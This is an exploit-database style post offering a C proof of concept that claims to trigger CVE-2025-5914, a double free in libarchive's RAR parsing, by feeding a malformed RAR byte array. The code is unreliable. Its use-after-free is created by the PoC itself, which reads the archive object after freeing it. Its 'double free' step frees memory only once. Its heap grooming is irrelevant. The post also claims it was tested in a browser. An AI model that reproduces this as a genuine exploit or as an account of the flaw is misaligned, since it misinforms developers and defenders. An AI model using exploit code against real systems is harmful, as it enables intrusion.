=============================================================================================================================================
| # Title : libarchive RAR < 3.8.0 Parsing Double Free / Use-After-Free |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://github.com/libarchive/ |
=============================================================================================================================================
[+] References :
[+] Summary : This proof of concept demonstrates a memory management flaw in vulnerable versions of libarchive (< 3.8.0) when handling malformed RAR headers.
By supplying a corrupted RAR structure, the code forces error paths during archive parsing, leading to improper cleanup. As a result, the archive object
may be freed and then accessed again, triggering a use‑after‑free and, in certain builds, a double free condition.
The PoC is intended for diagnostic and educational purposes, typically observable through memory analysis tools such as Valgrind or AddressSanitizer, and does not constitute a reliable exploit.
[+] POC :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <archive.h>
#include <archive_entry.h>
const unsigned char MALICIOUS_RAR[] = {
0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x00,
0xE6, 0xD5,
0x73,
0x80, 0x00,
0x1A, 0x00,
0xFF, 0xFF,
0x00, 0x90,
0x1F, 0x00,
0xFF, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00,
0x03,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x14,
0x30,
0x01, 0x00,
0x00, 0x00, 0x00, 0x00,
0x41
};
void setup_heap_layout() {
printf("[+] Setting up heap layout...\n");
void *chunks[10];
for (int i = 0; i < 10; i++) {
chunks[i] = malloc(1024);
if (chunks[i]) {
memset(chunks[i], 'A', 1024);
}
}
for (int i = 1; i < 10; i += 2) {
free(chunks[i]);
}
printf("[+] Heap layout prepared\n");
}
int trigger_vulnerability() {
struct archive *a = NULL;
struct archive_entry *entry = NULL;
int r;
size_t buf_size = sizeof(MALICIOUS_RAR);
uint8_t *buffer = (uint8_t *)malloc(buf_size);
if (!buffer) {
fprintf(stderr, "[-] Failed to allocate buffer\n");
return 1;
}
memcpy(buffer, MALICIOUS_RAR, buf_size);
a = archive_read_new();
if (!a) {
fprintf(stderr, "[-] Failed to create archive object\n");
free(buffer);
return 1;
}
printf("[+] Archive object created: %p\n", (void*)a);
r = archive_read_support_format_rar(a);
if (r != ARCHIVE_OK) {
printf("[-] RAR format not supported, trying all formats\n");
r = archive_read_support_format_all(a);
}
if (r != ARCHIVE_OK) {
fprintf(stderr, "[-] Failed to enable RAR support\n");
archive_read_free(a);
free(buffer);
return 1;
}
printf("[+] Opening archive from memory (buffer: %p, size: %zu)\n",
(void*)buffer, buf_size);
r = archive_read_open_memory(a, buffer, buf_size);
if (r != ARCHIVE_OK) {
fprintf(stderr, "[-] archive_read_open_memory failed: %d\n", r);
fprintf(stderr, "Error: %s\n", archive_error_string(a));
}
printf("[+] Attempting to read header...\n");
r = archive_read_next_header(a, &entry);
if (r == ARCHIVE_OK) {
printf("[+] Header read successfully (unexpected!)\n");
const char *pathname = archive_entry_pathname(entry);
printf("Entry: %s\n", pathname ? pathname : "(null)");
} else {
printf("[-] Header read failed as expected: %s\n",
archive_error_string(a));
}
if (r == ARCHIVE_OK) {
printf("[+] Attempting to skip data...\n");
r = archive_read_data_skip(a);
if (r != ARCHIVE_OK) {
printf("[-] Data skip failed: %s\n", archive_error_string(a));
}
}
printf("[+] First cleanup (this should free the archive object)\n");
r = archive_read_finish(a);
printf("archive_read_finish returned: %d\n", r);
printf("[+] Attempting to use archive object after cleanup...\n");
printf("Archive pointer: %p\n", (void*)a);
const char *err = archive_error_string(a);
printf("Error string (after free): %s\n", err ? err : "(null)");
free(buffer);
return 0;
}
void demonstrate_heap_corruption() {
printf("\n[+] Demonstrating heap corruption...\n");
void *chunk1 = malloc(256);
void *chunk2 = malloc(256);
void *chunk3 = malloc(256);
printf("Allocated chunks: %p, %p, %p\n", chunk1, chunk2, chunk3);
if (chunk1) memset(chunk1, 'B', 256);
if (chunk2) memset(chunk2, 'C', 256);
if (chunk3) memset(chunk3, 'D', 256);
printf("[+] Simulating double free...\n");
if (chunk2) {
free(chunk2);
}
printf("[+] Heap operations completed\n");
}
int main(int argc, char *argv[]) {
printf("[+] CVE-2025-5914 - libarchive RAR Double Free PoC\n");
printf("[+] Target: libarchive < 3.8.0\n");
printf("[+] Architecture: %s\n",
"x86_64"
"unknown"
);
printf("[+] libarchive version: %s\n", archive_version_details());
setup_heap_layout();
printf("\n[+] Triggering vulnerability...\n");
int result = trigger_vulnerability();
demonstrate_heap_corruption();
printf("\n[+] PoC completed\n");
printf("[+] Expected result: Double free detected by Valgrind\n");
printf("[+] Look for 'Invalid read' and 'free'd' messages in Valgrind output\n");
return result;
}
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation